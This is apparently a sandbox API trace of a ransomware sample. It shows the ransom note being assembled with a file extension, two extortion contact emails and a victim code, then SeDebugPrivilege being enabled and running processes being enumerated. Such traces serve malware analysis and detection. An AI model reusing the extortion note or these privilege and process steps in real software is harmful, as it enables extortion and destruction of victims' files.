(_Str="{code_3289ad72_cd46d:\r\nb64}", _SubStr="b64") returned="b64}" [0129.072] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13f) returned 0x8e98d0 [0129.072] strstr (_Str="{code_3289ad72_cd46d:\r\nyVAKxgdkf+Sze8ijOjhKX+e1w/T5/qjDswWBwXzocBOS+DKDzJ\r\nQiznbcdg9pDAHzOqQyvxfZm0zdhRE8lT09pssjVZC/hms9cq2J\r\nMoR7qiqIH3b5eMvrpzyG8Og7/STlKYGck8Dl13l8h2dYvvkVFK\r\n5mWCDBXA7NnyrKbQf959ZMnk66xboNwJolq831ncCtA7EF+sCv\r\nNjaOFDBSS9YiFdUuV3sOMXh6Vytb6Q/jJfPSg3ZbjOMWwcCA4D\r\nLrVre/dqToIPIWS44WXIfz9fZFiZRLqlU=}", _SubStr="b64") returned 0x0 [0129.072] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8df9d0) returned 1 [0129.072] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8df958) returned 1 [0129.072] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5ba8) returned 1 [0129.072] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9798) returned 1 [0129.072] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9670) returned 1 [0129.072] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9590) returned 1 [0129.072] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6638) returned 1 [0129.072] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8df8e0) returned 1 [0129.072] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .{id}\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{id}") returned="{id}\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}" [0129.072] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a5) returned 0x8e9a18 [0129.072] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{id}") returned 0x0 [0129.072] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{ID}") returned 0x0 [0129.072] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a5) returned 0x8e9fc8 [0129.072] strcpy (in: _Dest=0x8e9fc8, _Source="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}" | out: _Dest="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}") returned="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}" [0129.072] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9a18) returned 1 [0129.072] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{mail1}") returned="{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}" [0129.073] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5b3) returned 0x8ea578 [0129.073] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.2Hamlampampom@cock.li\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{mail1}") returned 0x0 [0129.073] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9fc8) returned 1 [0129.073] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.2Hamlampampom@cock.li\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{mail2}") returned="{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}" [0129.073] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5c6) returned 0x8e9a18 [0129.073] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.2Hamlampampom@cock.li\r\n2.Galgalgalgalk@tutanota.com\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{mail2}") returned 0x0 [0129.073] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ea578) returned 1 [0129.073] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.2Hamlampampom@cock.li\r\n2.Galgalgalgalk@tutanota.com\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{code}") returned="{code}" [0129.073] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6fe) returned 0x8e9fe8 [0129.073] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.2Hamlampampom@cock.li\r\n2.Galgalgalgalk@tutanota.com\r\n\r\nDon't forget to include your code in the email:\r\n{code_3289ad72_cd46d:\r\nyVAKxgdkf+Sze8ijOjhKX+e1w/T5/qjDswWBwXzocBOS+DKDzJ\r\nQiznbcdg9pDAHzOqQyvxfZm0zdhRE8lT09pssjVZC/hms9cq2J\r\nMoR7qiqIH3b5eMvrpzyG8Og7/STlKYGck8Dl13l8h2dYvvkVFK\r\n5mWCDBXA7NnyrKbQf959ZMnk66xboNwJolq831ncCtA7EF+sCv\r\nNjaOFDBSS9YiFdUuV3sOMXh6Vytb6Q/jJfPSg3ZbjOMWwcCA4D\r\nLrVre/dqToIPIWS44WXIfz9fZFiZRLqlU=}", _SubStr="{code}") returned 0x0 [0129.073] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9a18) returned 1 [0129.073] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98d0) returned 1 [0129.073] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5498) returned 1 [0129.073] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87d8) returned 1 [0129.073] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5b78) returned 1 [0129.073] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8538) returned 1 [0129.073] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5b60) returned 1 [0129.073] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5f28) returned 1 [0129.073] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e65a8) returned 1 [0129.073] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x47faf4 | out: lpLuid=0x47faf4*(LowPart=0x14, HighPart=0)) returned 1 [0129.082] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x47fa7c | out: TokenHandle=0x47fa7c*=0x148) returned 0x0 [0129.082] AdjustTokenPrivileges (in: TokenHandle=0x148, DisableAllPrivileges=0, NewState=0x47fae4*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0129.082] GetLastError () returned 0x514 [0129.082] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1770) returned 0x8f2288 [0129.082] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x10) returned 0x8e5bc0 [0129.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x847f0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c [0129.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x84700, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150 [0129.085] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1024) returned 0x8f3a00 [0129.085] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f3a00, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x8f3a00, ResultLength=0x0) returned 0xc0000004 [0129.086] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8f3a00, Size=0x2048) returned 0x8f4a30 [0129.086] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f4a30, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x8f4a30, ResultLength=0x0) returned 0xc0000004 [0129.087] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8f4a30, Size=0x306c) returned 0x8f4a30 [0129.087] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f4a30, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x8f4a30, ResultLength=0x0) returned 0xc0000004 [0129.087] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8f4a30, Size=0x4090) returned 0x8f7aa8 [0129.088] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f7aa8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x8f7aa8, ResultLength=0x0) returned 0xc0000004 [0129.088] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8f7aa8, Size=0x50b4) returned 0x8f7aa8 [0129.088] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f7aa8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x8f7aa8, ResultLength=0x0) returned 0xc0000004 [0129.089] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8f7aa8, Size=0x60d8) returned 0x8fcb68 [0129.090] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8fcb68, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x8fcb68, ResultLength=0x0) returned 0xc0000004 [0129.090] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8fcb68, Size=0x70fc) returned 0x8fcb68 [0129.090] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8fcb68, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x8fcb68, ResultLength=0x0) returned 0xc0000004 [0129.091] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8fcb68, Size=0x8120) returned 0x8f3a00 [0129.091] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f3a00, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x8f3a00, ResultLength=0x0) returned 0xc0000004 [0129.092] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8f3a00, Size=0x9144) returned 0x8f3a00 [0129.092] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f3a00, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x8f3a00, ResultLength=0x0) returned 0xc0000004 [0129.093] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8f3a00, Size=0xa168) returned 0x8f3a00 [0129.093] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f3a00, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x8f3a00, ResultLength=0x0) returned 0xc0000004 [0129.094] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8f3a00, Size=0xb18c) returned 0x8f3a00 [0129.094] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f3a00, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x8f3a00, ResultLength=0x0) returned 0xc0000004 [0129.095] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8f3a00, Size=0xc1b0) returned 0x8f3a00 [0129.095] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f3a00, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x8f3a00, ResultLength=0x0) returned 0xc0000004 [0129.096] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8f3a00, Size=0xd1d4) returned 0x8f3a00 [0129.096] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f3a00, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x8f3a00, ResultLength=0x0) returned 0xc0000004 [0129.097] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8f3a00, Size=0xe1f8) returned 0x8f3a00 [0129.097] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f3a00, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x8f3a00, ResultLength=0x0) returned 0xc0000004 [0129.098] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8f3a00, Size=0xf21c) returned 0x8f3a00 [0129.098] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f3a00, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x8f3a00, ResultLength=0x0) returned 0xc0000004 [0129.099] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8f3a00, Size=0x10240) returned 0x8f3a00 [0129.099] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f3a00, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x8f3a00, ResultLength=0x0) returned 0xc0000004 [0129.100] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8f3a00, Size=0x11264) returned 0x903c48 [0129.101] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x903c48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x903c48, ResultLength=0x0) returned 0xc0000004 [0129.103] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x903c48, Size=0x12288) returned 0x903c48 [0129.103] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x903c48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x903c48, ResultLength=0x0) returned 0xc0000004 [0129.104] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x903c48, Size=0x132ac) returned 0x915ed8 [0129.106] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x915ed8, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x915ed8, ResultLength=0x0) returned 0xc0000004 [0129.107] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x915ed8, Size=0x142d0) returned 0x8f3a00 [0129.107] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f3a00, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x8f3a00, ResultLength=0x0) returned 0xc0000004 [0129.108] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8f3a00, Size=0x152f4) returned 0x8f3a00 [0129.108] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x8f3a00, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x8f3a00, ResultLength=0x0) returned 0x0 [0129.121] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.121] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.121] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.121] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.121] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.121] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.121] 